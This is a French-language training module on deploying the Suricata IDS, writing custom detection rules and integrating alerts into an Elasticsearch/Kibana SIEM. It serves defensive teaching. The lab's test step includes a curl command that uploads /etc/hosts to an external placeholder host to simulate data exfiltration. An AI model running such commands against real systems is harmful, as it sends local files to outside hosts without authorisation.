🛡️ Suricata — Déploiement et intégration SIEM

Introduction (10 min)

Lors de cette séance nous déployons Suricata 7.x, activons des rulesets, rédigeons des règles personnalisées et intégrons les alertes dans une chaîne SIEM effective.

🎯 Objectifs de la séance

• Installer et configurer Suricata 7.x sur Debian 12 (af-packet capture, répertoires de logs, fichiers de règles).
• Activer et maintenir des rulesets via suricata-update (Emerging Threats Open, Snort community).
• Rédiger et déployer une règle Suricata personnalisée (ex : SSH brute-force) et recharger le moteur sans interruption.
• Intégrer les événements EVE JSON dans Elasticsearch/Kibana via Filebeat et effectuer un tuning pour réduire les faux positifs.

📖 1. Suricata : installation et configuration principale (50 min)

Suricata est un moteur IDS/IPS moderne capable de produire des logs EVE JSON, d'utiliser des modes de capture performants (af-packet) et de charger des rulesets compatibles Snort/Suricata. Le fichier principal de configuration est /etc/suricata/suricata.yaml.

Points de configuration clés

• af-packet (capture haute performance sur Linux) : préciser l'interface à écouter (ex : eth0) et options (cluster-id, cluster-type).
• default-log-dir : répertoire où Suricata place eve.json, fast.log, stats.
• rule-files : liste des fichiers de règles chargés (ex : suricata.rules, local.rules).
• outputs/eve : activer la sortie JSON et sélectionner les types (alert, http, dns, tls).

Extrait commenté — suricata.yaml

af-packet:
  - interface: eth0
    cluster-id: 99
    cluster-type: cluster_flow
    defrag: yes

default-log-dir: /var/log/suricata

rule-files:
  - suricata.rules
  - local.rules

outputs:
  - eve-log:
      enabled: yes
      filetype: regular
      filename: eve.json
      types: ["alert", "http", "dns", "tls"]

Modes de capture

📖 2. Gestion des règles et activation de rulesets (25 min)

suricata-update est l'outil recommandé pour récupérer et maintenir des rulesets : Emerging Threats Open (ET Open), Snort community, et autres sources. Les règles sont généralement installées dans /var/lib/suricata/rules/.

# Mettre à jour la liste de sources
sudo suricata-update update-sources

# Activer Emerging Threats Open
sudo suricata-update enable-source et/open

# Récupérer et construire le jeu de règles
sudo suricata-update fetch
sudo suricata-update list-sources

# Installer le jeu de règles
sudo suricata-update install

# Redémarrer Suricata pour charger les nouvelles règles
sudo systemctl restart suricata

# Ou recharger à chaud sans interruption de service
sudo suricatasc -c 'reload-rules'
sudo suricatasc -c 'ruleset-reload-nonblocking'

📖 3. Rédaction de règles personnalisées (30 min)

Les règles Suricata respectent la syntaxe Snort-like. Pour ajouter des règles personnalisées, créer ou éditer le fichier /etc/suricata/rules/local.rules et ajouter son nom dans suricata.yaml sous rule-files.

Règle SSH brute-force

alert tcp $EXTERNAL_NET any -> $HOME_NET 22 (
  msg:"SSH Brute Force";
  threshold:type both,track by_src,count 10,seconds 60;
  classtype:attempted-user;
  sid:9000001;
  rev:1;
)

Règle exfiltration HTTP (upload de fichier)

alert http $HOME_NET any -> $EXTERNAL_NET any (
  msg:"HTTP Exfiltration - possible file upload";
  flow:established,to_server;
  http.method; content:"POST";
  http_uri; content:"/upload"; nocase;
  http_client_body; content:"Content-Disposition: form-data; name=\"file\""; nocase;
  classtype:policy-violation;
  sid:9000002;
  rev:1;
)

Anatomie d'une règle Suricata

Recharger les règles à chaud

# Recharger sans redémarrer le démon
sudo suricatasc -c 'reload-rules'
sudo suricatasc -c 'ruleset-reload-nonblocking'

# Vérifier que les règles sont bien chargées
sudo suricatasc -c 'list-rules' | grep 9000001 -A2

📖 4. Intégration SIEM : Filebeat → Elasticsearch → Kibana (30 min)

Suricata produit /var/log/suricata/eve.json au format EVE JSON. Filebeat propose un module Suricata dédié pour parser et expédier ces logs vers Elasticsearch.

Architecture de la chaîne SIEM

Trafic réseau
    │
    ▼
┌───────────┐      EVE JSON       ┌──────────┐      ┌───────────────┐      ┌─────────┐
│ Suricata  │ ──────────────────▶ │ Filebeat │ ───▶ │ Elasticsearch │ ───▶ │ Kibana  │
│ (IDS/IPS) │  /var/log/suricata/ │ (module  │      │   (stockage)  │      │  (viz)  │
└───────────┘       eve.json      │ suricata)│      └───────────────┘      └─────────┘
                                  └──────────┘
        

Installation et activation de Filebeat

# Installer filebeat (Debian 12)
sudo apt update && sudo apt install -y filebeat

# Activer le module suricata
sudo filebeat modules enable suricata

# Configurer le chemin si besoin dans /etc/filebeat/modules.d/suricata.yml
#   var.paths: ["/var/log/suricata/eve.json"]

# Charger les dashboards Kibana et démarrer
sudo filebeat setup --dashboards
sudo systemctl enable --now filebeat

Vérification dans Kibana

• Dans Kibana → Discover, sélectionner l'index filebeat-*.
• Filtrer par event_type: alert ou par alert.signature.
• Le dashboard Suricata fourni par Filebeat offre des visualisations : top signatures, sources, destinations, types d'alertes.

📖 5. Tuning et gestion des faux positifs (20 min)

Un IDS sans tuning génère du bruit et fatigue les équipes sécurité. Voici les méthodes principales pour réduire les faux positifs.

Méthodes de réduction des faux positifs

Fichier de suppression

# /etc/suricata/suppress.conf
suppress gen_id 1, sig_id 9000002, track by_src, ip 192.168.10.15

Ce fichier indique à Suricata de ne pas générer d'alerte sur la règle 9000002 pour l'IP 192.168.10.15 (ex : serveur de sauvegarde interne).

Rechargement après modification

sudo suricatasc -c 'reload-rules'
# ou redémarrer si nécessaire
sudo systemctl restart suricata

💻 Travaux Pratiques (70 min)

Contexte

Vous êtes technicien chez InnovatTech. Déployez Suricata 7 sur debian-srv01, activez Emerging Threats Open via suricata-update, rédigez une règle détectant une exfiltration HTTP depuis le réseau InnovatTech, vérifiez la détection dans /var/log/suricata/eve.json et intégrez les alertes via Filebeat vers Elasticsearch.

Prérequis techniques

• debian-srv01 (192.168.10.10) avec accès sudo.
• Elasticsearch/Kibana accessibles depuis le réseau de labo (ou instance locale Docker).
• VM attaquante capable d'effectuer un POST HTTP vers l'extérieur.

Objectifs

• Installer Suricata 7.x et le configurer en mode af-packet sur debian-srv01.
• Activer ET Open via suricata-update et charger les règles.
• Rédiger et déployer une règle d'exfiltration HTTP et la tester par un POST depuis une VM attaquante.
• Configurer Filebeat pour remonter /var/log/suricata/eve.json vers Elasticsearch et vérifier dans Kibana.

Étape 1 — Installer Suricata

sudo apt update
sudo apt install -y suricata

# Vérifier la version (doit être 7.x idéalement)
suricata --build-info

Si le paquet de la distribution n'est pas 7.x, suivre la procédure OISF pour ajouter le dépôt officiel avant l'installation.

Étape 2 — Configurer suricata.yaml

# /etc/suricata/suricata.yaml (extraits à vérifier)
af-packet:
  - interface: eth0

default-log-dir: /var/log/suricata
rule-files:
  - suricata.rules
  - local.rules

outputs:
  - eve-log:
      enabled: yes
      filename: eve.json
      types: ["alert","http","tls","dns"]

Étape 3 — Activer ET Open via suricata-update

sudo suricata-update update-sources
sudo suricata-update enable-source et/open
sudo suricata-update fetch
sudo suricata-update install

# Redémarrer pour charger les règles
sudo systemctl restart suricata

Étape 4 — Rédiger la règle d'exfiltration HTTP

Éditer /etc/suricata/rules/local.rules et ajouter :

alert http $HOME_NET any -> $EXTERNAL_NET any (
  msg:"HTTP Exfiltration - possible file upload";
  flow:established,to_server;
  http.method; content:"POST";
  http_uri; content:"/upload"; nocase;
  http_client_body; content:"Content-Disposition: form-data; name=\"file\""; nocase;
  classtype:policy-violation;
  sid:9000002;
  rev:1;
)

Recharger les règles sans interruption :

sudo suricatasc -c 'reload-rules'
sudo suricatasc -c 'ruleset-reload-nonblocking'

Étape 5 — Tester l'exfiltration (depuis la VM attaquante)

# Envoi d'un petit fichier vers un serveur HTTP externe
curl -X POST -F "file=@/etc/hosts" http://198.51.100.5:8080/upload

Étape 6 — Vérifier dans eve.json

sudo tail -n 200 /var/log/suricata/eve.json | jq '. | select(.event_type=="alert")' | less

Exemple d'entrée EVE JSON attendue :

{
  "timestamp": "2024-02-01T12:00:00.000000+0000",
  "event_type": "alert",
  "src_ip": "192.168.20.50",
  "src_port": 34567,
  "dest_ip": "198.51.100.5",
  "dest_port": 8080,
  "proto": "TCP",
  "alert": {
    "action": "allowed",
    "signature_id": 9000002,
    "signature": "HTTP Exfiltration - possible file upload",
    "severity": 3
  }
}

Étape 7 — Intégrer avec Filebeat

sudo apt install -y filebeat
sudo filebeat modules enable suricata

# Vérifier /etc/filebeat/modules.d/suricata.yml
# et adapter : var.paths: ["/var/log/suricata/eve.json"]

sudo filebeat setup --dashboards
sudo systemctl enable --now filebeat

Vérifier dans Kibana : index filebeat-* → rechercher event_type: "alert" et alert.signature: "HTTP Exfiltration - possible file upload".

📋 Livrable attendu

• /etc/suricata/rules/local.rules contenant la règle d'exfiltration (sid 9000002) et la règle SSH brute-force (sid 9000001).
• Extrait de /var/log/suricata/eve.json montrant l'alerte générée.
• Capture d'écran ou export Kibana montrant l'événement indexé.

✅ Critères de réussite

• Suricata tourne en mode af-packet et génère des logs dans /var/log/suricata/eve.json.
• Le ruleset Emerging Threats est activé et chargé par Suricata.
• La règle personnalisée 9000002 déclenche lors du test d'exfiltration et apparaît dans eve.json.
• Filebeat envoie les événements à Elasticsearch et l'alerte est visible dans Kibana.

🎓 Synthèse (10 min)

Suricata offre un pipeline complet : capture performante (af-packet), règles riches (syntaxe Snort-like étendue), sorties EVE JSON faciles à intégrer dans un SIEM, et outils opérationnels (suricata-update, suricatasc) pour maintenir et déployer des règles à chaud.

Le succès opérationnel dépend moins du fait d'avoir la « meilleure » règle que d'avoir un processus : validation des règles avant déploiement, mécanisme de rollback, suppression de faux positifs et whitelisting.

🎮 Quiz gamifié — Auto-évaluation (5 questions)